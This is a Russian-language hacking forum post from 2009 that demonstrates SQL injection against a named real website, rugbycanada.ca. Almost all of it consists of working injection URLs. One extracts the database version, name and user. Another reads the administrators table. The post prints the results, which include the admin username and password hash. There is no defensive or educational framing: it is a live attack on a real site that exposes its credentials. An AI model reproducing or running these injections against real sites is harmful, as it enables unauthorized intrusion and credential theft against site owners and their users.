Показать сообщение отдельно

  #7699  
Старый 08.02.2009, 15:05
Kraneg
Участник форума
Регистрация: 30.08.2008
Сообщений: 132
Провел на форуме:
1351948

Репутация: 325
По умолчанию

rugbycanada.ca
Код:
http://www.rugbycanada.ca/index.php?lang=en&page_id=10&news_id=-4464+UNION+SELECT+1,concat_ws(0x3a,version(),database(),user
()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19/*
PR7
Version:4.0.27
DB:rugbyca
user:rugbyca@localhost

Так же можем прочитать логин и пароль админа:
Код:
http://www.rugbycanada.ca/index.php?lang=en&page_id=10&news_id=-4464+UNION+SELECT+1,concat_ws
(0x3a,id,user_name,user_password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+FROM+administrators/*
Только как-то пароль странно вывел или с солью или не понятно вообще что это =)
1:rugbyca:0f9c80a8014a66940ce454df4fcac581:b2
 
Ответить с цитированием